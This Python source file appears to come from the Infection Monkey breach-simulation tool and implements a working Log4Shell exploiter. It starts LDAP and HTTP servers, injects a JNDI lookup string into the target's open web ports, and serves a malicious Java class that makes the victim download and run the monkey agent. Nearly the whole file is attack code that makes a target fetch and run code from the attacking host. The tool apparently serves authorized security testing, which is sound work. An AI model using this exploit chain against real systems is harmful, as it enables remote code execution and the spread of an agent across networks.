monkey/monkey/infection_monkey/exploit/log4shell.py

196 lines
6.9 KiB
Python

import logging
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH,
WINDOWS_EXPLOIT_TEMPLATE_PATH,
ExploitClassHTTPServer,
LDAPExploitServer,
build_exploit_bytecode,
get_log4shell_service_exploiters,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
from infection_monkey.model import (
DROPPER_ARG,
LOG4SHELL_LINUX_COMMAND,
LOG4SHELL_WINDOWS_COMMAND,
VictimHost,
)
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
logger = logging.getLogger(__name__)
class Log4ShellExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
EXPLOIT_TYPE = ExploitType.VULNERABILITY
_EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = 15
REQUEST_TO_VICTIM_TIMEOUT = (
5 # Max time agent will wait for the response from victim in SECONDS
)
def __init__(self, host: VictimHost):
super().__init__(host)
self._ldap_port = get_free_tcp_port()
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
self._class_http_server_port = get_free_tcp_port()
self._ldap_server = None
self._exploit_class_http_server = None
self._agent_http_server_thread = None
self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
]
def _exploit_host(self):
if not self._open_ports:
logger.info("Could not find any open web ports to exploit")
return False
self._start_servers()
try:
return self.exploit(None, None)
finally:
self._stop_servers()
def _start_servers(self):
# Start http server, to serve agent to victims
paths = self.get_monkey_paths()
agent_http_path = self._start_agent_http_server(paths)
# Build agent execution command
command = self._build_command(paths["dest_path"], agent_http_path)
# Start http server to serve malicious java class to victim
self._start_class_http_server(command)
# Start ldap server to redirect ldap query to java class server
self._start_ldap_server()
def _start_agent_http_server(self, agent_paths: dict) -> str:
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.try_create_locked_transfer(
self.host, agent_paths["src_path"]
)
self._agent_http_server_thread = http_thread
return http_path
def _start_class_http_server(self, command: str):
java_class = self._build_java_class(command)
self._exploit_class_http_server = ExploitClassHTTPServer(
self._class_http_server_ip, self._class_http_server_port, java_class
)
self._exploit_class_http_server.run()
def _start_ldap_server(self):
self._ldap_server = LDAPExploitServer(
ldap_server_port=self._ldap_port,
http_server_ip=self._class_http_server_ip,
http_server_port=self._class_http_server_port,
storage_dir=get_monkey_dir_path(),
)
self._ldap_server.run()
def _stop_servers(self):
logger.debug("Stopping all LDAP and HTTP Servers")
self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
def _build_ldap_payload(self) -> str:
interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
def _build_command(self, path, http_path) -> str:
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
)
if "linux" in self.host.os["type"]:
base_command = LOG4SHELL_LINUX_COMMAND
else:
base_command = LOG4SHELL_WINDOWS_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}
def _build_java_class(self, exploit_command: str) -> bytes:
if "linux" in self.host.os["type"]:
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
else:
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
def exploit(self, url, command) -> bool:
# Try to exploit all services,
# because we don't know which services are running and on which ports
for exploit in get_log4shell_service_exploiters():
for port in self._open_ports:
try:
exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as ex:
logger.warning(
"An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {ex}"
)
if self._wait_for_victim():
self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name,
"port": port,
}
return True
return False
def _wait_for_victim(self) -> bool:
victim_called_back = False
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back:
self._wait_for_victim_to_download_agent()
return victim_called_back
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
start_time = time.time()
while not self._victim_timeout_expired(
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
):
if self._exploit_class_http_server.exploit_class_downloaded():
return True
time.sleep(1)
return False
def _wait_for_victim_to_download_agent(self):
start_time = time.time()
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
if self._agent_http_server_thread.downloads > 0:
break
time.sleep(1)
@classmethod
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
return timeout < (time.time() - start_time)